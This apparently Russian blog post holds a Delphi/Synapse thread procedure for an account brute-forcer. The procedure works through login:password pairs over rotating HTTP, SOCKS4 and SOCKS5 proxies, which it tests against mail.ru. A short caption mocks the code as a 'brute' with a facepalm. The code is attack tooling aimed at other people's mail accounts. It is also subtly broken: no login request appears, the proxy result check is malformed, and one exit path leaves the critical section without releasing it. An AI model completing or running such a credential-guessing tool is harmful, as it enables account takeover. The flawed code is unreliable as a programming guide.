- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
procedure Thread.Execute;
label
ProxyCheck, BadCheck;
var
I, s: Integer;
begin
try
while FWork do
begin
if not Self.Terminated then
begin
EnterCriticalSection(FCriticalSection);
if FAcc + 1 < FAccounts.Count then
begin
Inc(FAcc);
FCur := FAcc;
end
else
Exit;
LeaveCriticalSection(FCriticalSection);
LoginAndPassword(FAccounts.Strings[FCur], Login, Pass);
HTTP := THTTPSend.Create;
Scr := TStringList.Create;
Data := TStringStream.Create;
HTTP.Timeout := FTimeOut;
HTTP.Sock.SocksTimeout := FTimeOut;
HTTP.Sock.SetTimeout(FTimeOut);
HTTP.Sock.SetSendTimeout(FTimeOut);
HTTP.Sock.SetRecvTimeout(FTimeOut);
Rez := 0;
FErrorCount := 0;
while Rez = 0 do
begin
Inc(FPPSValue);
if FErrorCount = MaxError then
begin
Rez := 3;
end
else
begin
HTTP.Headers.Clear;
HTTP.Document.Clear;
HTTP.Cookies.Clear;
Data.Clear;
if FProxyTypes > 0 then
begin
ProxyCheck:
IPAndPort(IP, Port);
case FProxyTypes of
1:
begin
HTTP.ProxyHost := IP;
HTTP.ProxyPort := Port;
end;
2:
begin
HTTP.Sock.SocksIP := IP;
HTTP.Sock.SocksPort := Port;
HTTP.Sock.SocksType := ST_Socks4;
end;
3:
begin
HTTP.Sock.SocksIP := IP;
HTTP.Sock.SocksPort := Port;
HTTP.Sock.SocksType := ST_Socks5;
end;
end;
if FCheckProxy = True then
begin
HTTP.Headers.Clear;
HTTP.Document.Clear;
HTTP.Cookies.Clear;
HTTP.HTTPMethod('GET', 'https://mail.ru');
if not HTTP.ResultCode = 200 then
goto ProxyCheck;
end;
end;
HTTP.Headers.Clear;
HTTP.Document.Clear;
HTTP.Cookies.Clear;
if Rez = 0 then
begin
Synchronize(Err);
InterlockedIncrement(FErrorCount);
end;
end;
end;
Synchronize(Sync);
FreeAndNil(HTTP); FreeAndNil(Scr); FreeAndNil(Data);
end
else
begin
Synchronize(Stop);
end;
end;
finally
end;
end;
Оригинальный способ брута на Delphi XE3 с использованием Synapse. (facepalm)...
Комментарии (0) RSS
Добавить комментарий